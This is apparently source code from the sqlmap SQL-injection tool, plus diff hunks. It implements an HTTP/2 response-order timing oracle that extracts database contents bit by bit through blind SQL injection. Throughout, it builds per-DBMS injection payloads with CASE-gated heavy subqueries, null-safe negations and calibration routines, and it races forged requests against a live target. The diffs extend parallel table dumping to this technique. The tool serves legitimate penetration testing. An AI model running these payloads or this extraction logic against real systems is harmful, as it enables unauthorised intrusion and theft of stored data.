# string primitives allocate at most ~4 MB (memory-safe, no spill/DoS). If even 4M can't reach MIN_HEAVY_MS
# reliably the target is too noisy/fast-to-read -> fall back to classic. Correctness beats ms - a flip means
# re-extract.
LIGHT_HEAVY_COSTS = (20000, 60000, 200000, 600000, 2000000, 4000000)
MIN_HEAVY_MS = 15.0 # required server-side heavy delta; ~15 ms clears realistic multi-hop extraction-load jitter
# The heavy/cheap PAIR separation must also be >= this fraction of the base (cheap) pair time - an absolute
# floor alone is marginal on a slow multi-hop path (a 15 ms margin on a ~50 ms base flips ~10% of bits under
# load); requiring a relative margin makes such a target climb to a robustly-separated cost. See tuneHeavy.
MIN_SEPARATION_FRAC = 0.5
# DBMSes whose primitive is a bounded GENERATOR whose row count sits in the [COST] slot. For these the bit
# gates the WORK AMOUNT (the count) rather than selecting between a heavy and a cheap CASE branch. This is
# what makes the oracle survive optimisers that DECORRELATE/HOIST an uncorrelated scalar subquery out of a
# CASE and run it in BOTH branches (observed on CockroachDB with GENERATE_SERIES for a non-foldable
# condition - the false branch still materialised the full series, so cond and neg were BOTH heavy and the
# response order was a coin flip -> corruption). With the count itself computed from the bit
# (GENERATE_SERIES(1, CASE WHEN cond THEN [COST] ELSE 1)) there is no constant subquery to hoist: the engine
# must evaluate the CASE first and only then generate that many rows, so exactly one of cond/neg does the
# work. CONNECT BY LEVEL<=expr and LIMIT expr are standard, so Oracle/SQLite use the same form. Validated
# end-to-end on CockroachDB (was corrupting, now reads 1.00) and PostgreSQL (still engages, unchanged).
_GATED_COST = frozenset((DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE))
# Inert SQL-comment sentinels bracketing the injected comparison inside the heavy vector. They let the
# oracle build the exact NEGATED payload (heavy-iff-false) from the forged condition payload by a single
# regex - enabling the SYMMETRIC oracle (condition vs its negation, exactly one runs heavy, 1 pair reads
# the bit both ways) without any change to bisection. Comments are ignored by the DBMS parser.
INFERENCE_BEGIN = "/*tlb*/"
INFERENCE_END = "/*tle*/"
def lightHeavyVector(dbms, cost):
"""Return the timeless rung-2 vector for `dbms` doing ~`cost` units of bounded work (or None if no
primitive is defined). The INFERENCE slot is bracketed with sentinels so negatePayload() can derive the
mirror for the symmetric oracle (condition vs its negation, exactly one runs heavy).
Two gating shapes, both flowing through the exact same payload machinery:
- GENERATOR primitives (see _GATED_COST): the bit is placed INSIDE the row-count bound
(GENERATE_SERIES(1, CASE WHEN cond THEN [COST] ELSE 1)), so there is no constant subquery for an
optimiser to hoist out of a CASE and run in both branches - the count itself depends on the bit.
- Everything else: the classic '[RANDNUM]=(CASE WHEN cond THEN <heavy> ELSE [RANDNUM])' branch, used
where the cost slot must stay constant (MySQL BENCHMARK) or there is no numeric cost (Firebird);
these engines were validated not to hoist.
Either way tuneHeavy's MIN_HEAVY_MS gate + faithful (uncorrelated) calibration mean a target that still
manages an unreadable delta simply fails calibration and falls back to classic - never corrupts."""
primitive = LIGHT_HEAVY.get(dbms)
if not primitive:
return None
if dbms in _GATED_COST:
gate = "(CASE WHEN (%s[INFERENCE]%s) THEN %d ELSE 1 END)" % (INFERENCE_BEGIN, INFERENCE_END, int(cost))
heavy = primitive.replace("[COST]", gate)
return "AND [RANDNUM]<%s" % heavy
heavy = primitive.replace("[COST]", str(int(cost)))
return "AND [RANDNUM]=(CASE WHEN (%s[INFERENCE]%s) THEN (%s) ELSE [RANDNUM] END)" % (INFERENCE_BEGIN, INFERENCE_END, heavy)
def negatePayload(value):
"""Return `value` with the sentinel-bracketed comparison replaced by a NULL-SAFE negation, or None if
no sentinel pair is present (a non-timeless vector). Used to build the symmetric oracle's negated
request (the request whose heavy branch must run iff the condition does NOT hold).
The negation is `(CASE WHEN (cond) THEN 1 ELSE 0 END)=0`, which is TRUE iff `cond` is false OR NULL -
NOT plain `NOT(cond)`. This is the end-of-string fix: past the end of a string the comparison
(ASCII(SUBSTR(...))>n) is NULL, and `NOT(NULL)` is NULL, so with plain NOT NEITHER the condition nor
its negation forces the heavy branch - both requests stay cheap and the response order is left to
secondary noise (measured ~0.6 cond-last on Oracle, not a clean coin flip), which invents phantom
trailing characters. With the CASE form the negation's ELSE catches NULL, so at end-of-string the
NEGATION request runs heavy and the condition request stays cheap: the condition finishes first every
vote (fraction ~0), read as False, and the string terminates cleanly. CASE + integer '=0' is portable
across every DBMS (unlike `IS NOT TRUE`)."""
import re
pattern = re.compile(r"%s(.*?)%s" % (re.escape(INFERENCE_BEGIN), re.escape(INFERENCE_END)))
if not pattern.search(value or ""):
return None
return pattern.sub(lambda m: "%s(CASE WHEN (%s) THEN 1 ELSE 0 END)=0%s" % (INFERENCE_BEGIN, m.group(1), INFERENCE_END), value)
def _pairMs(conn, reqA, reqB, samples=5, timeout=30):
"""Median wall-clock of the coalesced PAIR (reqA, reqB) until BOTH streams finish - tracks the heavy
branch when one is heavy, bare round-trip when none. Used for the reliability/separation gate that
decides which cost to engage at (see tuneHeavy)."""
import time as _t
ts = []
for _ in range(samples):
s = _t.time()
_pairOrder(conn, reqA, reqB, timeout)
ts.append((_t.time() - s) * 1000.0)
return sorted(ts)[samples // 2]
def _calibrationConditions(dbms):
"""Return (trueCond, falseCond): a KNOWN-true and KNOWN-false boolean of the SAME shape real
extraction injects - the per-DBMS inference comparison applied to the version banner, i.e. an
UNCORRELATED, non-constant-foldable predicate (e.g. ASCII(SUBSTRING((VERSION())::text FROM 1 FOR 1))>1
for true, >255 for false). This matters because some optimisers (CockroachDB, TiDB, ...) HOIST the
uncorrelated heavy subquery out of the CASE and run it in BOTH branches for such a predicate, while a
CONSTANT-foldable probe like '1=1'/'1=0' lets them prune the dead branch at plan time - so calibrating
with the constant sees a clean heavy delta the REAL extraction never has and engages straight into
corruption (bits become a coin flip). Calibrating with the faithful predicate makes a hoisting target
measure ~0 server-side delta on every rung, so tuneHeavy's MIN_HEAVY_MS gate rejects it and the scan
safely falls back to classic time-based. Falls back to the constant probes when the DBMS ships no
inference/banner template (calibration still gates, just without the hoist check)."""
from lib.core.data import queries
try:
entry = queries[dbms]
template = entry.inference.query # e.g. 'ASCII(SUBSTRING((%s)::text FROM %d FOR 1))>%d'
banner = entry.banner.query # e.g. 'VERSION()' / 'SELECT @@VERSION'
# int value works for both '>%d' and quoted-char '>%c' templates (chr(1)/chr(255) stay in-range)
return (template % (banner, 1, 1), template % (banner, 1, 255))
except Exception:
return ("1=1", "1=0")
def tuneHeavy(conn, dbms=None, trials=50, threshold=0.97, timeout=30, progress=None, loadFactor=1):
"""Walk the cost ladder and return (vector, cost, confidence) for the LIGHTEST rung-2 heavy
that is BOTH (a) big enough in absolute server-side time (>= MIN_HEAVY_MS) to survive extraction load,
and (b) whose response-order signal calibrates as reliable. Returns (None, None, best_confidence) if
none qualifies.
Requirement (a) is the fix for the fixed-[COST]-means-different-time trap: PostgreSQL generate_series(N)
and MySQL SHA2(REPEAT('a',N)) at the SAME N differ ~10x in wall time, so a fixed floor that is fine for a
generator is a ~1-2 ms nothing for a hash - which calibrates fine IDLE (order reliable) then flips bits
under load. Measuring the real delta and requiring a margin makes the tuning primitive-agnostic and
load-robust; on a fast single-hop backend the smallest qualifying cost is still tiny."""
from lib.core.common import Backend
dbms = dbms or Backend.getIdentifiedDbms()
# Probe with the faithful (uncorrelated, non-foldable) extraction predicate, NOT constant 1=1/1=0, so a
# target that hoists the heavy subquery out of the CASE (running it in both branches) is measured with
# ~0 delta and rejected here instead of engaging into corruption. See _calibrationConditions().
trueCond, falseCond = _calibrationConditions(dbms)
best = 0.0
for cost in LIGHT_HEAVY_COSTS:
vector = lightHeavyVector(dbms, cost)
if not vector:
return (None, None, 0.0)
reqSlow = _forgeRequest(trueCond, conn.host, vector)
reqFast = _forgeRequest(falseCond, conn.host, vector)
# Measure the coalesced-PAIR times: a one-heavy pair (reqSlow vs reqFast) and a no-heavy pair
# (reqFast vs reqFast). Their separation decides whether a real bit's response ORDER is readable
# (the reliability gate that picks which cost to engage at).
try:
heavyPair = _pairMs(conn, reqSlow, reqFast, timeout=timeout)
cheapPair = _pairMs(conn, reqFast, reqFast, timeout=timeout)
except Exception:
heavyPair = cheapPair = 0.0
separation = heavyPair - cheapPair
# Reliability gate: the separation must clear an ABSOLUTE floor AND a FRACTION of the base (cheap)
# pair time. An absolute-only floor is enough on a fast single-hop path (cockroach base ~8 ms, a
# 16 ms separation is 2x the base) but marginal on a slow multi-hop one: on Oracle the base pair is
# ~50 ms, so a 15 ms separation is swamped by round-trip jitter under extraction load and ~10% of
# TRUE bits flip - even though it calibrates clean IDLE. Requiring separation >= a fraction of the
# base forces such a target to climb to a cost whose margin survives load (Oracle 60k sep 15 ms ->
# reject -> 200k sep 61 ms -> 0 flips). A fast path is unaffected (its base is tiny).
# `loadFactor` (= worker thread count) scales the required margin: N value-parallel workers each
# fire a heavy query, so the server sees ~Nx load during extraction that single-threaded calibration
# does not, dragging a marginal bit's cond-last fraction into the ambiguous band. Demanding N x the
# separation here climbs to a cost whose bigger delta keeps the fraction ~1.0 even under that load.
if separation < MIN_HEAVY_MS * loadFactor or separation < cheapPair * MIN_SEPARATION_FRAC * loadFactor:
if progress is not None:
progress()
continue # margin too thin to survive load -> escalate cost
usable, confidence = calibrate(conn, reqSlow, reqFast, trials=trials, threshold=threshold, timeout=timeout, progress=progress)
best = max(best, confidence)
if usable:
return (vector, cost, confidence)
return (None, None, best)
def _forgeRequest(inferenceExpr, authority, vector=None):
"""Forge the full HTTP request sqlmap would send for a payload carrying `inferenceExpr` at the
INFERENCE_MARKER slot of `vector` (default: the current technique's vector), but capture it
(buildOnly) instead of sending - ready to coalesce. Late placeholders ([RANDNUM]/[SLEEPTIME]/...)
are filled by agent.payload just like a normal request."""
from lib.core.agent import agent
from lib.core.common import getTechniqueData
from lib.core.settings import INFERENCE_MARKER
from lib.request.connect import Connect
vector = vector if vector is not None else getTechniqueData().vector
forged = agent.suffixQuery(agent.prefixQuery(vector.replace(INFERENCE_MARKER, inferenceExpr)))
spec = Connect.queryPage(agent.payload(newValue=forged), buildOnly=True)
return _specToReq(spec, authority)
def readBitLive(conn, condition, vector=None, votes=1, timeout=30):
"""Read one boolean from the LIVE injection point by timeless timing. `condition` is the comparison
bisection injects (e.g. 'ORD(...)>64'). The condition request carries it at INFERENCE_MARKER, the
negation request carries NOT(condition); with a heavy-query `vector` exactly one runs the heavy work,
so response order names the bit - no SLEEP. `vector` defaults to the current technique's vector
(rung 1, bare boolean natural delta); pass getHeavyVector() for rung 2. Returns True iff condition holds."""
reqCond = _forgeRequest(condition, conn.host, vector)
reqNeg = _forgeRequest("NOT(%s)" % condition, conn.host, vector)
return readBit(conn, reqCond, reqNeg, votes=votes, timeout=timeout)
def readBitAsymmetric(conn, reqCond, reqRef, votes=12, timeout=30):
"""Read one boolean WITHOUT the negated comparison - only the condition request and a FIXED always-heavy
reference. When the condition is TRUE, reqCond runs the SAME heavy work as reqRef, so they race ~50/50
and reqCond finishes last about HALF the votes; when FALSE - or when the comparison is NULL / the DBMS
errors on it past the end of a string - reqCond is strictly cheaper and finishes first essentially
always (~0 cond-last). So the DECISION is a fraction threshold well between those two populations, over
a FIXED number of votes (no early-exit): a single stray cond-last from jitter can no longer invent a
phantom character at end-of-string (the bug that appended trailing garbage), while a genuine TRUE still
clears the threshold comfortably. Used as the tiebreak when the symmetric read splits.
Returns True iff the condition holds."""
condLast = 0
for i in range(votes):
if i % 2 == 0:
order, _ = conn.exchange_pair([reqCond, reqRef], timeout); condSid = conn.next_sid - 4
else:
order, _ = conn.exchange_pair([reqRef, reqCond], timeout); condSid = conn.next_sid - 2
if order[0] != condSid: # cond finished last -> it ran the heavy branch this vote
condLast += 1
return condLast * 4 >= votes # >= 25% cond-last -> TRUE (mid-way between ~50% and ~0%)
def calibrateLive(conn, vector=None, trials=40, threshold=0.9, timeout=30, progress=None):
"""Calibrate the live target using a KNOWN asymmetry: INFERENCE=1=1 runs the heavy branch, INFERENCE=1=0
stays cheap. On a concurrent backend the heavy request finishes last. Returns (usable, confidence);
below threshold the backend serializes or the delta is unreadable -> do NOT use the oracle."""
reqSlow = _forgeRequest("1=1", conn.host, vector)
reqFast = _forgeRequest("1=0", conn.host, vector)
return calibrate(conn, reqSlow, reqFast, trials=trials, threshold=threshold, timeout=timeout, progress=progress)
if __name__ == "__main__":
# End-to-end self-test against a local h2 target that gates query cost on ?bit=/&cap= (scratchpad
# h2sqlserver.py): calibrate, then read a run of known bits and report accuracy.
import sys
host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
port = int(sys.argv[2]) if len(sys.argv) > 2 else 8470
cap = int(sys.argv[3]) if len(sys.argv) > 3 else 8000
def req(bit):
return {"method": "GET", "path": "/sql?bit=%d&cap=%d" % (bit, cap), "authority": host}
conn = connect(host, port, None, 30)
usable, conf = calibrate(conn, req(1), req(0), trials=40)
print("calibrate: usable=%s confidence=%.3f" % (usable, conf))
if usable:
import itertools
# Read a run of known bits. reqCond carries the actual condition (truth=b -> req(b) runs heavy
# iff b=1); reqNeg carries the negation (truth=1-b -> req(1-b) runs heavy iff b=0). Exactly one
# runs heavy, so a single pair resolves the bit both ways.
bits = list(itertools.islice(itertools.cycle([1, 0, 1, 1, 0, 0, 1, 0]), 24))
ok = 0
for b in bits:
got = readBit(conn, req(b), req(1 - b), votes=1)
ok += int(bool(got) == bool(b))
print("read %d/%d bits correctly (single pair each)" % (ok, len(bits)))
conn.close()

View file

@ -806,7 +806,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
retVal = minValue + 1
if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload):
if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal):
if (timeBasedCompare or unexpectedCode) and kb.get("timeless") is None and not validateChar(idx, retVal):
if restricted:
# the character fell outside this column's observed range - re-extract
# over the full charset (not timing noise, so no delay increase / retry count)

View file

@ -442,9 +442,11 @@ class Entries(object):
# Value-parallel dumping: one whole cell per worker, decoded sequentially, so there
# is NO per-cell LENGTH() probe (the position-parallel path needs one to split a
# value's characters across threads) and the per-column Huffman model + low-cardinality
# guessing engage under concurrency. Used for the boolean channel with '--threads'; the
# classic per-character-parallel loop stays for single-thread and time-based.
if conf.threads > 1 and not conf.dnsDomain and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN):
# guessing engage under concurrency. Used for the boolean channel with '--threads', and
# for the HTTP/2 timeless oracle (its per-thread connections make concurrency safe and
# deterministic - unlike classic time-based, whose char-parallel loop interleaves its
# per-thread output). Single-thread and classic time-based keep the char-parallel loop.
if conf.threads > 1 and not conf.dnsDomain and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) or kb.get("timeless") is not None):
# One value-parallel pass over every (non-empty) cell, so there is a single
# thread pool and values stream live as they complete - out of order, exactly
# like the error/union dumps - instead of a silent progress counter.